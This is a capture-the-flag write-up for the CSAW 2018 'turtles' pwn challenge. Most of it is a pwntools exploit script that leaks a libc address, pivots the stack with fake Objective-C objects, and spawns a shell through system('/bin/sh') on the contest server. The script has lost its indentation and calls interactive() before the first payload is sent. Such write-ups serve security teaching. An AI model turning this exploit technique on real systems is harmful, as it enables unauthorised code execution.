Tags: libc 

Rating:

**Description**

> Looks like you found a bunch of turtles but their shells are nowhere to be seen! Think you can make a shell for them?
>
> `nc pwn.chal.csaw.io 9003`
>
> Update (09/14 6:25 PM) - Added libs.zip with the libraries for the challenge

**Files provided**

- [turtles](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/files/turtles)
- [libs.zip](https://ctf.csaw.io/files/f8d7ea4fde01101de29de49d91434a5a/libs.zip) (too large to host)

**Solution** (by [Mem2019](https://github.com/Mem2019))

After reversing function `objc_msg_lookup`, we found that if we satisfy some conditions, we can manipulate the return value, which will be called, and then we can do ROP, because we can control the buffer on stack. What I did is to switch the stack to heap to do further exploitation.

Firstly, leak the `libc` address and return to main function, then do the same thing again to execute `system("/bin/sh")`

exp

```python
from pwn import *

g_local=False
context.log_level='debug'

e = ELF("./libc-2.19.so")
p = ELF("./turtles")
if g_local:
sh = remote("192.168.106.151", 9999)#env={'LD_PRELOAD':'./libc.so.6'}
else:
sh = remote("pwn.chal.csaw.io", 9003)
#ONE_GADGET_OFF = 0x4557a

LEAVE_RET = 0x400b82
POP_RDI_RET = 0x400d43
#rop = 'A' * 0x80
rop = p64(POP_RDI_RET)
rop += p64(p.got["printf"])
rop += p64(p.plt["printf"])
rop += p64(0x400B84) #main

sh.recvuntil("Here is a Turtle: 0x")
leak = sh.recvuntil("\n")
obj_addr = int(leak, 16)

rop_pivot = p64(0x400ac0) #pop rbp ret
rop_pivot += p64(obj_addr + 8 + 0x20 + 0x10 + 0x30)
rop_pivot += p64(LEAVE_RET) + p64(0)

fake_turtle = p64(obj_addr + 8 + 0x20 - 0x40)
fake_turtle += rop_pivot
# different when dynamic
# fake_turtle += p64(0x601400) + p64(0x601328)
# fake_turtle += p64(0x601321) + p64(0)
# fake_turtle += p64(1) + p64(8)
# fake_turtle += p64(0) + p64(obj_addr + 8 + 0x20 + 0x80)
# fake_turtle += 8 * p64(0)
# #------------------
# fake_turtle += p64(0) + p64(1)
# fake_turtle += p64(0x601331) + p64(0x601349)
# fake_turtle += p64(0x400d3c) #pop 5 ret
# fake_turtle += 3 * p64(0)

fake_turtle += p64(obj_addr + 8 + 0x20 + 0x10) + p64(0)
#----------------
fake_turtle += p64(0) + p64(obj_addr + 8 + 0x20 + 0x10 + 0x10) #pop 5 ret
fake_turtle += p64(0x400d3c) + p64(0) * 3 #pop 5 ret
fake_turtle += 'a' * 8 + rop
sh.interactive()
sh.send(fake_turtle)
libc_addr = u64(sh.recvuntil("\x7f") + "\x00\x00") - e.symbols["printf"]
print hex(libc_addr)

sh.recvuntil("Here is a Turtle: 0x")
leak = sh.recvuntil("\n")
obj_addr = int(leak, 16)

rop_pivot = p64(0x400ac0) #pop rbp ret
rop_pivot += p64(obj_addr + 8 + 0x20 + 0x10 + 0x30)
rop_pivot += p64(LEAVE_RET) + p64(0)

fake_turtle = p64(obj_addr + 8 + 0x20 - 0x40)
fake_turtle += rop_pivot
fake_turtle += p64(obj_addr + 8 + 0x20 + 0x10) + p64(0)
#----------------
fake_turtle += p64(0) + p64(obj_addr + 8 + 0x20 + 0x10 + 0x10) #pop 5 ret
fake_turtle += p64(0x400d3c) + p64(0) * 3 #pop 5 ret
fake_turtle += 'a' * 8 + p64(POP_RDI_RET) + p64(libc_addr + next(e.search('/bin/sh\x00')))
fake_turtle += p64(libc_addr + e.symbols["system"]) #0x30 one_gadget

sh.send(fake_turtle)

sh.interactive()
```

//todo

Original writeup (https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/README.md#250-pwn--turtles).